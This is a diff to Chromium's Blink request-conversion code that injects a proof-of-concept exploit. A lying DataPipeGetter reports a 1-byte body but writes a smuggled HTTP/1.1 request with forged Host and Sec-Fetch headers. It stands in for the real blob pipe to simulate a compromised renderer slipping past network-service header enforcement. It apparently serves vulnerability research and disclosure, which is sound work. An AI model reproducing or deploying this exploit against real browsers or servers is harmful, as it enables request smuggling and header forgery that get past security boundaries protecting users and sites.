diff --git a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc index 626f878d761cf..893b8ef2fa8f3 100644 --- a/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc +++ b/third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc @@ -41,9 +41,60 @@ #include "third_party/blink/renderer/platform/network/encoded_form_data.h" #include "third_party/blink/renderer/platform/network/wrapped_data_pipe_getter.h" +// --- POC injection: simulate compromised renderer hosting a lying +// network.mojom.DataPipeGetter. --- +#include "mojo/public/cpp/bindings/receiver_set.h" +#include "mojo/public/cpp/bindings/self_owned_receiver.h" + namespace blink { namespace { +// POC: renderer-hosted DataPipeGetter that reports size=1 to the network +// service but writes a larger payload into the pipe. The surplus bytes form a +// raw HTTP/1.1 request that the peer will parse as a separate request on the +// same connection (request smuggling). +class PocLyingDataPipeGetter : public network::mojom::blink::DataPipeGetter { + public: + PocLyingDataPipeGetter() = default; + ~PocLyingDataPipeGetter() override = default; + + void Read(mojo::ScopedDataPipeProducerHandle pipe, + ReadCallback callback) override { + // Lie: tell the network service the body is 1 byte. This becomes + // Content-Length: 1 via HttpNetworkTransaction. + std::move(callback).Run(/*status=*/0 /*net::OK*/, /*size=*/1); + + // Actual payload: 1 throwaway byte + a smuggled HTTP/1.1 request whose + // headers (Host, Sec-Fetch-*) are entirely renderer-controlled, bypassing + // network-service header enforcement. + static const char kPayload[] = + "XGET /smuggled HTTP/1.1\r\n" + "Host: localhost:8080\r\n" + "Sec-Fetch-Site: same-origin\r\n" + "Sec-Fetch-Mode: navigate\r\n" + "X-Smuggled-By: compromised-renderer\r\n" + "\r\n"; + size_t num_bytes = sizeof(kPayload) - 1; + MojoResult r = pipe->WriteData( + base::as_byte_span(std::string_view(kPayload, num_bytes)), + MOJO_WRITE_DATA_FLAG_ALL_OR_NONE, num_bytes); + fprintf(stderr, + "[POC] LyingDataPipeGetter::Read wrote %zu bytes (mojo=%u), " + "reported size=1\n", + num_bytes, static_cast(r)); + // Close the producer so DataPipeElementReader's second ReadData() fails + // and the already-consumed bytes are flushed to the socket. + pipe.reset(); + } + + void Clone(mojo::PendingReceiver + receiver) override { + receivers_.Add(this, std::move(receiver)); + } + + mojo::ReceiverSet receivers_; +}; + // TODO(yhirano): Unify these with variables in // content/public/common/content_constants.h. constexpr char kCorsExemptRequestedWithHeaderName[] = "X-Requested-With"; @@ -185,12 +236,18 @@ void PopulateResourceRequestBody(const EncodedFormData& src, break; case FormDataElement::kEncodedBlob: { CHECK(element.blob_data_handle_); - mojo::Remote blob_remote( - element.blob_data_handle_->CloneBlobRemote()); + // --- POC injection --- + // A compromised renderer ignores the real (browser-process) blob and + // instead supplies its own renderer-hosted DataPipeGetter that lies + // about its size. The network service trusts this pending_remote. mojo::PendingRemote data_pipe_getter_remote; - blob_remote->AsDataPipeGetter( + mojo::MakeSelfOwnedReceiver( + std::make_unique(), data_pipe_getter_remote.InitWithNewPipeAndPassReceiver()); + fprintf(stderr, + "[POC] Substituted renderer-hosted lying DataPipeGetter for " + "blob body\n"); dest->AppendDataPipe( ToCrossVariantMojoType(std::move(data_pipe_getter_remote))); break;